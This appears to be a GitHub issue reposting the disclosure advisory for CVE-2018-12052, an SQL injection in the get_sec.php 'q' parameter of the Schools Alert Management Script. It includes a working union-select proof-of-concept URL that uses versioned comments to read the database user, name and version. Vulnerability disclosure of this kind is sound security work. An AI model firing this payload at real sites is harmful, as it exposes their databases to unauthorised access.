[CVE-2018-12052] Schools Alert Management Script get_sec.php SQL Injection #3
Comments
unh3x
changed the title
|
hello,Do you still have the source code? The code in the repo has been deleted. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
=================
Schools Alert Management Script - get_sec.php SQL Injection
Date: 07.06.2018
Vendor Homepage: https://www.phpscriptsmall.com/
Software Link: https://www.phpscriptsmall.com/product/schools-alert-management-system/
Category: Web Application
Exploit Author: xiaotian.wang From DBAppSecurity
Tested on: Linux Mint
CVE: CVE-2018-12052
=================
Vulnerable cgi:
get_sec.php?q=[sqli]
=================
Proof of Concept:
/get_sec.php?q=1'+/*!50000union*/+select+1,/*!50000concat*/(user(),0x7e7e,database(),0x7e7e,@@version)%23The text was updated successfully, but these errors were encountered: